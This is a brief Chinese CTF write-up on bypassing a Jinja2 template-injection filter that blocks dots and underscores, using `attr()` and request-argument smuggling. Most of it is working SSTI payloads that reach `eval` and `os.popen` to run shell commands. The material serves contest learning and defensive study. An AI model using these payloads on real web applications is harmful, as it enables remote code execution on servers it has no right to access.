CTF

安恒月赛SSTI的新姿势

Posted on 2020-02-27,2 min read

这题SSTI。过滤了点和下划线
writeup在此https://www.gem-love.com/ctf/1799.html

膜拜dalao
首先用attr()来绕过点。
|attr('__class__')==__class__

那么问题又来了。这道题又过滤了下划线。
这里我们可以通过request['arg']['a']来获取传参中a的值

{{''|attr(request['args']['a'])}}&a=__class__
首先通过request['args']['a']获得传参中的值。
''|attr(request['args']['a'])==''|attr('__class__')
''|attr('__class__')==''.__class__


接下来就构造EXP了
常用的有
<class 'jinja2.runtime.Context'>

().__class__.__base__.__subclasses__().__getitem__(233).__init__.__globals__.__getitem__.__builtins__.__getitem__.(eval)('__import__("os").popen('ls').read()')

<class 'warnings.catch_warnings'>

[].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")

<class 'codecs.StreamReaderWriter'>codecs下的模块都可以

().__class__.__base__.__subclasses__()[103].__init__.__globals__['sys'].modules["os"].popen('whoami').read()

在取列表当中的值时。如果键值是字符就要用__getitem__(request['args']['abc'])来传参取值

x4=__getitem__
x1=eval
|attr(request['args']['x4'])[request['args']['x1']]=|attr(request['args']['x4'])['eval']
|attr(request['args']['x4'])[request['args']['x1']]=__getitem__['eval']
如果直接单纯的取数字类型。比如__subclasses__()[103]
那么直接__getitem__(103)即可

{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls').read()

下一篇: I春秋公益赛部分Writeup→